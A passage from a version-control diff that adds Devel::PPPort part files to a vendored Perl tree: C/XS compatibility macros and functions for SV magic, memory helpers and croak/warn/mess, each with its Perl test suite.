+__UNDEFINED__  PERL_MAGIC_overload_elem   'a'
+__UNDEFINED__  PERL_MAGIC_overload_table  'c'
+__UNDEFINED__  PERL_MAGIC_bm              'B'
+__UNDEFINED__  PERL_MAGIC_regdata         'D'
+__UNDEFINED__  PERL_MAGIC_regdatum        'd'
+__UNDEFINED__  PERL_MAGIC_env             'E'
+__UNDEFINED__  PERL_MAGIC_envelem         'e'
+__UNDEFINED__  PERL_MAGIC_fm              'f'
+__UNDEFINED__  PERL_MAGIC_regex_global    'g'
+__UNDEFINED__  PERL_MAGIC_isa             'I'
+__UNDEFINED__  PERL_MAGIC_isaelem         'i'
+__UNDEFINED__  PERL_MAGIC_nkeys           'k'
+__UNDEFINED__  PERL_MAGIC_dbfile          'L'
+__UNDEFINED__  PERL_MAGIC_dbline          'l'
+__UNDEFINED__  PERL_MAGIC_mutex           'm'
+__UNDEFINED__  PERL_MAGIC_shared          'N'
+__UNDEFINED__  PERL_MAGIC_shared_scalar   'n'
+__UNDEFINED__  PERL_MAGIC_collxfrm        'o'
+__UNDEFINED__  PERL_MAGIC_tied            'P'
+__UNDEFINED__  PERL_MAGIC_tiedelem        'p'
+__UNDEFINED__  PERL_MAGIC_tiedscalar      'q'
+__UNDEFINED__  PERL_MAGIC_qr              'r'
+__UNDEFINED__  PERL_MAGIC_sig             'S'
+__UNDEFINED__  PERL_MAGIC_sigelem         's'
+__UNDEFINED__  PERL_MAGIC_taint           't'
+__UNDEFINED__  PERL_MAGIC_uvar            'U'
+__UNDEFINED__  PERL_MAGIC_uvar_elem       'u'
+__UNDEFINED__  PERL_MAGIC_vstring         'V'
+__UNDEFINED__  PERL_MAGIC_vec             'v'
+__UNDEFINED__  PERL_MAGIC_utf8            'w'
+__UNDEFINED__  PERL_MAGIC_substr          'x'
+__UNDEFINED__  PERL_MAGIC_defelem         'y'
+__UNDEFINED__  PERL_MAGIC_glob            '*'
+__UNDEFINED__  PERL_MAGIC_arylen          '#'
+__UNDEFINED__  PERL_MAGIC_pos             '.'
+__UNDEFINED__  PERL_MAGIC_backref         '<'
+__UNDEFINED__  PERL_MAGIC_ext             '~'
+
+/* That's the best we can do... */
+__UNDEFINED__  sv_catpvn_nomg     sv_catpvn
+__UNDEFINED__  sv_catsv_nomg      sv_catsv
+__UNDEFINED__  sv_setsv_nomg      sv_setsv
+__UNDEFINED__  sv_pvn_nomg        sv_pvn
+__UNDEFINED__  SvIV_nomg          SvIV
+__UNDEFINED__  SvUV_nomg          SvUV
+
+#ifndef sv_catpv_mg
+#  define sv_catpv_mg(sv, ptr)          \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_catpv(TeMpSv,ptr);              \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_catpvn_mg
+#  define sv_catpvn_mg(sv, ptr, len)    \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_catpvn(TeMpSv,ptr,len);         \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_catsv_mg
+#  define sv_catsv_mg(dsv, ssv)         \
+   STMT_START {                         \
+     SV *TeMpSv = dsv;                  \
+     sv_catsv(TeMpSv,ssv);              \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_setiv_mg
+#  define sv_setiv_mg(sv, i)            \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_setiv(TeMpSv,i);                \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_setnv_mg
+#  define sv_setnv_mg(sv, num)          \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_setnv(TeMpSv,num);              \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_setpv_mg
+#  define sv_setpv_mg(sv, ptr)          \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_setpv(TeMpSv,ptr);              \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_setpvn_mg
+#  define sv_setpvn_mg(sv, ptr, len)    \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_setpvn(TeMpSv,ptr,len);         \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_setsv_mg
+#  define sv_setsv_mg(dsv, ssv)         \
+   STMT_START {                         \
+     SV *TeMpSv = dsv;                  \
+     sv_setsv(TeMpSv,ssv);              \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_setuv_mg
+#  define sv_setuv_mg(sv, i)            \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_setuv(TeMpSv,i);                \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+#ifndef sv_usepvn_mg
+#  define sv_usepvn_mg(sv, ptr, len)    \
+   STMT_START {                         \
+     SV *TeMpSv = sv;                   \
+     sv_usepvn(TeMpSv,ptr,len);         \
+     SvSETMAGIC(TeMpSv);                \
+   } STMT_END
+#endif
+
+__UNDEFINED__  SvVSTRING_mg(sv)  (SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_vstring) : NULL)
+
+/* Hint: sv_magic_portable
+ * This is a compatibility function that is only available with
+ * Devel::PPPort. It is NOT in the perl core.
+ * Its purpose is to mimic the 5.8.0 behaviour of sv_magic() when
+ * it is being passed a name pointer with namlen == 0. In that
+ * case, perl 5.8.0 and later store the pointer, not a copy of it.
+ * The compatibility can be provided back to perl 5.004. With
+ * earlier versions, the code will not compile.
+ */
+
+#if { VERSION < 5.004 }
+
+  /* code that uses sv_magic_portable will not compile */
+
+#elif { VERSION < 5.8.0 }
+
+#  define sv_magic_portable(sv, obj, how, name, namlen)     \
+   STMT_START {                                             \
+     SV *SvMp_sv = (sv);                                    \
+     char *SvMp_name = (char *) (name);                     \
+     I32 SvMp_namlen = (namlen);                            \
+     if (SvMp_name && SvMp_namlen == 0)                     \
+     {                                                      \
+       MAGIC *mg;                                           \
+       sv_magic(SvMp_sv, obj, how, 0, 0);                   \
+       mg = SvMAGIC(SvMp_sv);                               \
+       mg->mg_len = -42; /* XXX: this is the tricky part */ \
+       mg->mg_ptr = SvMp_name;                              \
+     }                                                      \
+     else                                                   \
+     {                                                      \
+       sv_magic(SvMp_sv, obj, how, SvMp_name, SvMp_namlen); \
+     }                                                      \
+   } STMT_END
+
+#else
+
+#  define sv_magic_portable(a, b, c, d, e)  sv_magic(a, b, c, d, e)
+
+#endif
+
+#if !defined(mg_findext)
+#if { NEED mg_findext }
+
+MAGIC *
+mg_findext(SV * sv, int type, const MGVTBL *vtbl) {
+    if (sv) {
+        MAGIC *mg;
+
+#ifdef AvPAD_NAMELIST
+        assert(!(SvTYPE(sv) == SVt_PVAV && AvPAD_NAMELIST(sv)));
+#endif
+
+        for (mg = SvMAGIC (sv); mg; mg = mg->mg_moremagic) {
+            if (mg->mg_type == type && mg->mg_virtual == vtbl)
+                return mg;
+        }
+    }
+
+    return NULL;
+}
+
+#endif
+#endif
+
+#if !defined(sv_unmagicext)
+#if { NEED sv_unmagicext }
+
+int
+sv_unmagicext(pTHX_ SV *const sv, const int type, MGVTBL *vtbl)
+{
+    MAGIC* mg;
+    MAGIC** mgp;
+
+    if (SvTYPE(sv) < SVt_PVMG || !SvMAGIC(sv))
+	return 0;
+    mgp = &(SvMAGIC(sv));
+    for (mg = *mgp; mg; mg = *mgp) {
+	const MGVTBL* const virt = mg->mg_virtual;
+	if (mg->mg_type == type && virt == vtbl) {
+	    *mgp = mg->mg_moremagic;
+	    if (virt && virt->svt_free)
+		virt->svt_free(aTHX_ sv, mg);
+	    if (mg->mg_ptr && mg->mg_type != PERL_MAGIC_regex_global) {
+		if (mg->mg_len > 0)
+		    Safefree(mg->mg_ptr);
+		else if (mg->mg_len == HEf_SVKEY) /* Questionable on older perls... */
+		    SvREFCNT_dec(MUTABLE_SV(mg->mg_ptr));
+		else if (mg->mg_type == PERL_MAGIC_utf8)
+		    Safefree(mg->mg_ptr);
+            }
+	    if (mg->mg_flags & MGf_REFCOUNTED)
+		SvREFCNT_dec(mg->mg_obj);
+	    Safefree(mg);
+	}
+	else
+	    mgp = &mg->mg_moremagic;
+    }
+    if (SvMAGIC(sv)) {
+	if (SvMAGICAL(sv))	/* if we're under save_magic, wait for restore_magic; */
+	    mg_magical(sv);	/*    else fix the flags now */
+    }
+    else {
+	SvMAGICAL_off(sv);
+	SvFLAGS(sv) |= (SvFLAGS(sv) & (SVp_IOK|SVp_NOK|SVp_POK)) >> PRIVSHIFT;
+    }
+    return 0;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_mg_findext
+#define NEED_sv_unmagicext
+
+#ifndef STATIC
+#define STATIC static
+#endif
+
+STATIC MGVTBL null_mg_vtbl = {
+    NULL, /* get */
+    NULL, /* set */
+    NULL, /* len */
+    NULL, /* clear */
+    NULL, /* free */
+#if MGf_COPY
+    NULL, /* copy */
+#endif /* MGf_COPY */
+#if MGf_DUP
+    NULL, /* dup */
+#endif /* MGf_DUP */
+#if MGf_LOCAL
+    NULL, /* local */
+#endif /* MGf_LOCAL */
+};
+
+STATIC MGVTBL other_mg_vtbl = {
+    NULL, /* get */
+    NULL, /* set */
+    NULL, /* len */
+    NULL, /* clear */
+    NULL, /* free */
+#if MGf_COPY
+    NULL, /* copy */
+#endif /* MGf_COPY */
+#if MGf_DUP
+    NULL, /* dup */
+#endif /* MGf_DUP */
+#if MGf_LOCAL
+    NULL, /* local */
+#endif /* MGf_LOCAL */
+};
+
+=xsubs
+
+SV *
+new_with_other_mg(package, ...)
+    SV *package
+  PREINIT:
+    HV *self;
+    HV *stash;
+    SV *self_ref;
+    const char *data = "hello\0";
+    MAGIC *mg;
+  CODE:
+    self = newHV();
+    stash = gv_stashpv(SvPV_nolen(package), 0);
+
+    self_ref = newRV_noinc((SV*)self);
+
+    sv_magic((SV*)self, NULL, PERL_MAGIC_ext, data, strlen(data));
+    mg = mg_find((SV*)self, PERL_MAGIC_ext);
+    if (mg)
+      mg->mg_virtual = &other_mg_vtbl;
+    else
+      croak("No mg!");
+
+    RETVAL = sv_bless(self_ref, stash);
+  OUTPUT:
+    RETVAL
+
+SV *
+new_with_mg(package, ...)
+    SV *package
+  PREINIT:
+    HV *self;
+    HV *stash;
+    SV *self_ref;
+    const char *data = "hello\0";
+    MAGIC *mg;
+  CODE:
+    self = newHV();
+    stash = gv_stashpv(SvPV_nolen(package), 0);
+
+    self_ref = newRV_noinc((SV*)self);
+
+    sv_magic((SV*)self, NULL, PERL_MAGIC_ext, data, strlen(data));
+    mg = mg_find((SV*)self, PERL_MAGIC_ext);
+    if (mg)
+      mg->mg_virtual = &null_mg_vtbl;
+    else
+      croak("No mg!");
+
+    RETVAL = sv_bless(self_ref, stash);
+  OUTPUT:
+    RETVAL
+
+void
+remove_null_magic(self)
+    SV *self
+  PREINIT:
+    HV *obj;
+  PPCODE:
+    obj = (HV*) SvRV(self);
+
+    sv_unmagicext((SV*)obj, PERL_MAGIC_ext, &null_mg_vtbl);
+
+void
+remove_other_magic(self)
+    SV *self
+  PREINIT:
+    HV *obj;
+  PPCODE:
+    obj = (HV*) SvRV(self);
+
+    sv_unmagicext((SV*)obj, PERL_MAGIC_ext, &other_mg_vtbl);
+
+void
+as_string(self)
+    SV *self
+  PREINIT:
+    HV *obj;
+    MAGIC *mg;
+  PPCODE:
+    obj = (HV*) SvRV(self);
+
+    if ((mg = mg_findext((SV*)obj, PERL_MAGIC_ext, &null_mg_vtbl))) {
+        XPUSHs(sv_2mortal(newSVpv(mg->mg_ptr, strlen(mg->mg_ptr))));
+    } else {
+        XPUSHs(sv_2mortal(newSVpvs("Sorry, your princess is in another castle.")));
+    }
+
+void
+sv_catpv_mg(sv, string)
+        SV *sv;
+        char *string;
+        CODE:
+                sv_catpv_mg(sv, string);
+
+void
+sv_catpvn_mg(sv, sv2)
+        SV *sv;
+        SV *sv2;
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV(sv2, len);
+                sv_catpvn_mg(sv, str, len);
+
+void
+sv_catsv_mg(sv, sv2)
+        SV *sv;
+        SV *sv2;
+        CODE:
+                sv_catsv_mg(sv, sv2);
+
+void
+sv_setiv_mg(sv, iv)
+        SV *sv;
+        IV iv;
+        CODE:
+                sv_setiv_mg(sv, iv);
+
+void
+sv_setnv_mg(sv, nv)
+        SV *sv;
+        NV nv;
+        CODE:
+                sv_setnv_mg(sv, nv);
+
+void
+sv_setpv_mg(sv, pv)
+        SV *sv;
+        char *pv;
+        CODE:
+                sv_setpv_mg(sv, pv);
+
+void
+sv_setpvn_mg(sv, sv2)
+        SV *sv;
+        SV *sv2;
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV(sv2, len);
+                sv_setpvn_mg(sv, str, len);
+
+void
+sv_setsv_mg(sv, sv2)
+        SV *sv;
+        SV *sv2;
+        CODE:
+                sv_setsv_mg(sv, sv2);
+
+void
+sv_setuv_mg(sv, uv)
+        SV *sv;
+        UV uv;
+        CODE:
+                sv_setuv_mg(sv, uv);
+
+void
+sv_usepvn_mg(sv, sv2)
+        SV *sv;
+        SV *sv2;
+        PREINIT:
+                char *str, *copy;
+                STRLEN len;
+        CODE:
+                str = SvPV(sv2, len);
+                New(42, copy, len+1, char);
+                Copy(str, copy, len+1, char);
+                sv_usepvn_mg(sv, copy, len);
+
+int
+SvVSTRING_mg(sv)
+        SV *sv;
+        CODE:
+                RETVAL = SvVSTRING_mg(sv) != NULL;
+        OUTPUT:
+                RETVAL
+
+int
+sv_magic_portable(sv)
+        SV *sv
+        PREINIT:
+                MAGIC *mg;
+                const char *foo = "foo";
+        CODE:
+#if { VERSION >= 5.004 }
+                sv_magic_portable(sv, 0, '~', foo, 0);
+                mg = mg_find(sv, '~');
+                if (!mg)
+                  croak("No mg!");
+
+                RETVAL = mg->mg_ptr == foo;
+#else
+                sv_magic(sv, 0, '~', (char *) foo, strlen(foo));
+                mg = mg_find(sv, '~');
+                RETVAL = strEQ(mg->mg_ptr, foo);
+#endif
+                sv_unmagic(sv, '~');
+        OUTPUT:
+                RETVAL
+
+=tests plan => 23
+
+# Find proper magic
+ok(my $obj1 = Devel::PPPort->new_with_mg());
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Find with no magic
+my $obj = bless {}, 'Fake::Class';
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Find with other magic (not the magic we are looking for)
+ok($obj = Devel::PPPort->new_with_other_mg());
+ok(Devel::PPPort::as_string($obj), "Sorry, your princess is in another castle.");
+
+# Okay, attempt to remove magic that isn't there
+Devel::PPPort::remove_other_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), 'hello');
+
+# Remove magic that IS there
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+# Removing when no magic present
+Devel::PPPort::remove_null_magic($obj1);
+ok(Devel::PPPort::as_string($obj1), "Sorry, your princess is in another castle.");
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo';
+$h{bar} = '';
+
+&Devel::PPPort::sv_catpv_mg($h{foo}, 'bar');
+ok($h{foo}, 'foobar');
+
+&Devel::PPPort::sv_catpvn_mg($h{bar}, 'baz');
+ok($h{bar}, 'baz');
+
+&Devel::PPPort::sv_catsv_mg($h{foo}, '42');
+ok($h{foo}, 'foobar42');
+
+&Devel::PPPort::sv_setiv_mg($h{bar}, 42);
+ok($h{bar}, 42);
+
+&Devel::PPPort::sv_setnv_mg($h{PI}, 3.14159);
+ok(abs($h{PI} - 3.14159) < 0.01);
+
+&Devel::PPPort::sv_setpv_mg($h{mhx}, 'mhx');
+ok($h{mhx}, 'mhx');
+
+&Devel::PPPort::sv_setpvn_mg($h{mhx}, 'Marcus');
+ok($h{mhx}, 'Marcus');
+
+&Devel::PPPort::sv_setsv_mg($h{sv}, 'SV');
+ok($h{sv}, 'SV');
+
+&Devel::PPPort::sv_setuv_mg($h{sv}, 4711);
+ok($h{sv}, 4711);
+
+&Devel::PPPort::sv_usepvn_mg($h{sv}, 'Perl');
+ok($h{sv}, 'Perl');
+
+# v1 is treated as a bareword in older perls...
+my $ver = do { local $SIG{'__WARN__'} = sub {}; eval qq[v1.2.0] };
+ok($] < 5.009 || $@ eq '');
+ok($] < 5.009 || Devel::PPPort::SvVSTRING_mg($ver));
+ok(!Devel::PPPort::SvVSTRING_mg(4711));
+
+my $foo = 'bar';
+ok(Devel::PPPort::sv_magic_portable($foo));
+ok($foo eq 'bar');

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/memory
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/memory	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/memory	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,85 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+#ifdef HAS_MEMCMP
+__UNDEFINED__  memNE(s1,s2,l)  (memcmp(s1,s2,l))
+__UNDEFINED__  memEQ(s1,s2,l)  (!memcmp(s1,s2,l))
+#else
+__UNDEFINED__  memNE(s1,s2,l)  (bcmp(s1,s2,l))
+__UNDEFINED__  memEQ(s1,s2,l)  (!bcmp(s1,s2,l))
+#endif
+
+__UNDEFINED__  memEQs(s1, l, s2) \
+                   (sizeof(s2)-1 == l && memEQ(s1, (s2 ""), (sizeof(s2)-1)))
+__UNDEFINED__  memNEs(s1, l, s2) !memEQs(s1, l, s2)
+
+__UNDEFINED__  MoveD(s,d,n,t)  memmove((char*)(d),(char*)(s), (n) * sizeof(t))
+__UNDEFINED__  CopyD(s,d,n,t)  memcpy((char*)(d),(char*)(s), (n) * sizeof(t))
+#ifdef HAS_MEMSET
+__UNDEFINED__  ZeroD(d,n,t)    memzero((char*)(d), (n) * sizeof(t))
+#else
+__UNDEFINED__  ZeroD(d,n,t)    ((void)memzero((char*)(d), (n) * sizeof(t)), d)
+#endif
+
+__UNDEFINED__  PoisonWith(d,n,t,b)  (void)memset((char*)(d), (U8)(b), (n) * sizeof(t))
+__UNDEFINED__  PoisonNew(d,n,t)     PoisonWith(d,n,t,0xAB)
+__UNDEFINED__  PoisonFree(d,n,t)    PoisonWith(d,n,t,0xEF)
+__UNDEFINED__  Poison(d,n,t)        PoisonFree(d,n,t)
+
+__UNDEFINED__  Newx(v,n,t)     New(0,v,n,t)
+__UNDEFINED__  Newxc(v,n,t,c)  Newc(0,v,n,t,c)
+__UNDEFINED__  Newxz(v,n,t)    Newz(0,v,n,t)
+
+=xsubs
+
+int
+checkmem()
+  PREINIT:
+    char *p;
+
+  CODE:
+    RETVAL = 0;
+    Newx(p, 6, char);
+    CopyD("Hello", p, 6, char);
+    if (memEQ(p, "Hello", 6))
+      RETVAL++;
+    ZeroD(p, 6, char);
+    if (memEQ(p, "\0\0\0\0\0\0", 6))
+      RETVAL++;
+    if (memEQs(p, 6, "\0\0\0\0\0\0"))
+      RETVAL++;
+    Poison(p, 6, char);
+    if (memNE(p, "\0\0\0\0\0\0", 6))
+      RETVAL++;
+    if (memNEs(p, 6, "\0\0\0\0\0\0"))
+      RETVAL++;
+    Safefree(p);
+
+    Newxz(p, 6, char);
+    if (memEQ(p, "\0\0\0\0\0\0", 6))
+      RETVAL++;
+    Safefree(p);
+
+    Newxc(p, 3, short, char);
+    Safefree(p);
+
+  OUTPUT:
+    RETVAL
+
+=tests plan => 1
+
+ok(Devel::PPPort::checkmem(), 6);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/mess
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/mess	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/mess	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,518 @@
+################################################################################
+##
+##  Copyright (C) 2017, Pali <pali at cpan.org>
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+croak_sv
+die_sv
+mess_sv
+warn_sv
+
+vmess
+mess_nocontext
+mess
+
+warn_nocontext
+
+croak_nocontext
+
+croak_no_modify
+Perl_croak_no_modify
+
+croak_memory_wrap
+croak_xs_usage
+
+PERL_ARGS_ASSERT_CROAK_XS_USAGE
+
+=dontwarn
+
+NEED_mess
+NEED_mess_nocontext
+NEED_vmess
+
+=implementation
+
+#ifdef NEED_mess_sv
+#define NEED_mess
+#endif
+
+#ifdef NEED_mess
+#define NEED_mess_nocontext
+#define NEED_vmess
+#endif
+
+#ifndef croak_sv
+#if { VERSION >= 5.7.3 } || ( { VERSION >= 5.6.1 } && { VERSION < 5.7.0 } )
+#  if ( { VERSION >= 5.8.0 } && { VERSION < 5.8.9 } ) || ( { VERSION >= 5.9.0 } && { VERSION < 5.10.1 } )
+#    define D_PPP_FIX_UTF8_ERRSV(errsv, sv)                     \
+        STMT_START {                                            \
+            if (sv != ERRSV)                                    \
+                SvFLAGS(ERRSV) = (SvFLAGS(ERRSV) & ~SVf_UTF8) | \
+                                 (SvFLAGS(sv) & SVf_UTF8);      \
+        } STMT_END
+#  else
+#    define D_PPP_FIX_UTF8_ERRSV(errsv, sv) STMT_START {} STMT_END
+#  endif
+#  define croak_sv(sv)                        \
+    STMT_START {                              \
+        if (SvROK(sv)) {                      \
+            sv_setsv(ERRSV, sv);              \
+            croak(NULL);                      \
+        } else {                              \
+            D_PPP_FIX_UTF8_ERRSV(ERRSV, sv);  \
+            croak("%" SVf, SVfARG(sv));       \
+        }                                     \
+    } STMT_END
+#elif { VERSION >= 5.4.0 }
+#  define croak_sv(sv) croak("%" SVf, SVfARG(sv))
+#else
+#  define croak_sv(sv) croak("%s", SvPV_nolen(sv))
+#endif
+#endif
+
+#ifndef die_sv
+#if { NEED die_sv }
+OP *
+die_sv(pTHX_ SV *sv)
+{
+    croak_sv(sv);
+    return (OP *)NULL;
+}
+#endif
+#endif
+
+#ifndef warn_sv
+#if { VERSION >= 5.4.0 }
+#  define warn_sv(sv) warn("%" SVf, SVfARG(sv))
+#else
+#  define warn_sv(sv) warn("%s", SvPV_nolen(sv))
+#endif
+#endif
+
+#ifndef vmess
+#if { NEED vmess }
+SV*
+vmess(pTHX_ const char* pat, va_list* args)
+{
+    mess(pat, args);
+    return PL_mess_sv;
+}
+#endif
+#endif
+
+#if { VERSION < 5.6.0 }
+#undef mess
+#endif
+
+#if !defined(mess_nocontext) && !defined(Perl_mess_nocontext)
+#if { NEED mess_nocontext }
+SV*
+mess_nocontext(const char* pat, ...)
+{
+    dTHX;
+    SV *sv;
+    va_list args;
+    va_start(args, pat);
+    sv = vmess(pat, &args);
+    va_end(args);
+    return sv;
+}
+#endif
+#endif
+
+#ifndef mess
+#if { NEED mess }
+SV*
+mess(pTHX_ const char* pat, ...)
+{
+    SV *sv;
+    va_list args;
+    va_start(args, pat);
+    sv = vmess(pat, &args);
+    va_end(args);
+    return sv;
+}
+#ifdef mess_nocontext
+#define mess mess_nocontext
+#else
+#define mess Perl_mess_nocontext
+#endif
+#endif
+#endif
+
+#ifndef mess_sv
+#if { NEED mess_sv }
+SV *
+mess_sv(pTHX_ SV *basemsg, bool consume)
+{
+    SV *tmp;
+    SV *ret;
+
+    if (SvPOK(basemsg) && SvCUR(basemsg) && *(SvEND(basemsg)-1) == '\n') {
+        if (consume)
+            return basemsg;
+        ret = mess("");
+        SvSetSV_nosteal(ret, basemsg);
+        return ret;
+    }
+
+    if (consume) {
+        sv_catsv(basemsg, mess(""));
+        return basemsg;
+    }
+
+    ret = mess("");
+    tmp = newSVsv(ret);
+    SvSetSV_nosteal(ret, basemsg);
+    sv_catsv(ret, tmp);
+    sv_dec(tmp);
+    return ret;
+}
+#endif
+#endif
+
+#ifndef warn_nocontext
+#define warn_nocontext warn
+#endif
+
+#ifndef croak_nocontext
+#define croak_nocontext croak
+#endif
+
+#ifndef croak_no_modify
+#define croak_no_modify() croak_nocontext("%s", PL_no_modify)
+#define Perl_croak_no_modify() croak_no_modify()
+#endif
+
+#ifndef croak_memory_wrap
+#if { VERSION >= 5.9.2 } || ( { VERSION >= 5.8.6 } && { VERSION < 5.9.0 } )
+#  define croak_memory_wrap() croak_nocontext("%s", PL_memory_wrap)
+#else
+#  define croak_memory_wrap() croak_nocontext("panic: memory wrap")
+#endif
+#endif
+
+#ifndef croak_xs_usage
+#if { NEED croak_xs_usage }
+
+#ifndef PERL_ARGS_ASSERT_CROAK_XS_USAGE
+#define PERL_ARGS_ASSERT_CROAK_XS_USAGE assert(cv); assert(params)
+#endif
+
+void
+croak_xs_usage(const CV *const cv, const char *const params)
+{
+    dTHX;
+    const GV *const gv = CvGV(cv);
+
+    PERL_ARGS_ASSERT_CROAK_XS_USAGE;
+
+    if (gv) {
+        const char *const gvname = GvNAME(gv);
+        const HV *const stash = GvSTASH(gv);
+        const char *const hvname = stash ? HvNAME(stash) : NULL;
+
+        if (hvname)
+            croak("Usage: %s::%s(%s)", hvname, gvname, params);
+        else
+            croak("Usage: %s(%s)", gvname, params);
+    } else {
+        /* Pants. I don't think that it should be possible to get here. */
+        croak("Usage: CODE(0x%" UVxf ")(%s)", PTR2UV(cv), params);
+    }
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_die_sv
+#define NEED_mess_sv
+#define NEED_croak_xs_usage
+
+=xsubs
+
+void
+croak_sv(sv)
+    SV *sv
+CODE:
+    croak_sv(sv);
+
+void
+die_sv(sv)
+    SV *sv
+CODE:
+    (void)die_sv(sv);
+
+void
+warn_sv(sv)
+    SV *sv
+CODE:
+    warn_sv(sv);
+
+SV *
+mess_sv(sv, consume)
+    SV *sv
+    bool consume
+CODE:
+    RETVAL = newSVsv(mess_sv(sv, consume));
+OUTPUT:
+    RETVAL
+
+void
+croak_no_modify()
+CODE:
+    croak_no_modify();
+
+void
+croak_memory_wrap()
+CODE:
+    croak_memory_wrap();
+
+void
+croak_xs_usage(params)
+    char *params
+CODE:
+    croak_xs_usage(cv, params);
+
+=tests plan => 93
+
+BEGIN { if ($] lt '5.006') { $^W = 0; } }
+
+my $warn;
+my $die;
+local $SIG{__WARN__} = sub { $warn = $_[0] };
+local $SIG{__DIE__} = sub { $die = $_[0] };
+
+my $scalar_ref = \do {my $tmp = 10};
+my $array_ref = [];
+my $hash_ref = {};
+my $obj = bless {}, 'Package';
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1\n") };
+ok $@, "\xE1\n";
+ok $die, "\xE1\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv(10) };
+ok $@ =~ /^10 at $0 line /;
+ok $die =~ /^10 at $0 line /;
+
+undef $die;
+$@ = 'should not be visible (1)';
+ok !defined eval {
+    $@ = 'should not be visible (2)';
+    Devel::PPPort::croak_sv('');
+};
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+    $@ = 'this must be visible';
+    Devel::PPPort::croak_sv($@)
+};
+ok $@ =~ /^this must be visible at $0 line /;
+ok $die =~ /^this must be visible at $0 line /;
+
+undef $die;
+$@ = 'should not be visible';
+ok !defined eval {
+    $@ = "this must be visible\n";
+    Devel::PPPort::croak_sv($@)
+};
+ok $@, "this must be visible\n";
+ok $die, "this must be visible\n";
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv('') };
+ok $@ =~ /^ at $0 line /;
+ok $die =~ /^ at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xE1") };
+ok $@ =~ /^\xE1 at $0 line /;
+ok $die =~ /^\xE1 at $0 line /;
+
+undef $die;
+ok !defined eval { Devel::PPPort::croak_sv("\xC3\xA1") };
+ok $@ =~ /^\xC3\xA1 at $0 line /;
+ok $die =~ /^\xC3\xA1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1\n");
+ok $warn, "\xE1\n";
+
+undef $warn;
+Devel::PPPort::warn_sv(10);
+ok $warn =~ /^10 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv('');
+ok $warn =~ /^ at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xE1");
+ok $warn =~ /^\xE1 at $0 line /;
+
+undef $warn;
+Devel::PPPort::warn_sv("\xC3\xA1");
+ok $warn =~ /^\xC3\xA1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1\n", 0), "\xE1\n";
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1\n"}, 1), "\xE1\n";
+
+ok Devel::PPPort::mess_sv(10, 0) =~ /^10 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = 10}, 1) =~ /^10 at $0 line /;
+
+ok Devel::PPPort::mess_sv('', 0) =~ /^ at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = ''}, 1) =~ /^ at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xE1", 0) =~ /^\xE1 at $0 line /;
+ok Devel::PPPort::mess_sv(do {my $tmp = "\xE1"}, 1) =~ /^\xE1 at $0 line /;
+
+ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ /^\xC3\xA1 at $0 line /;
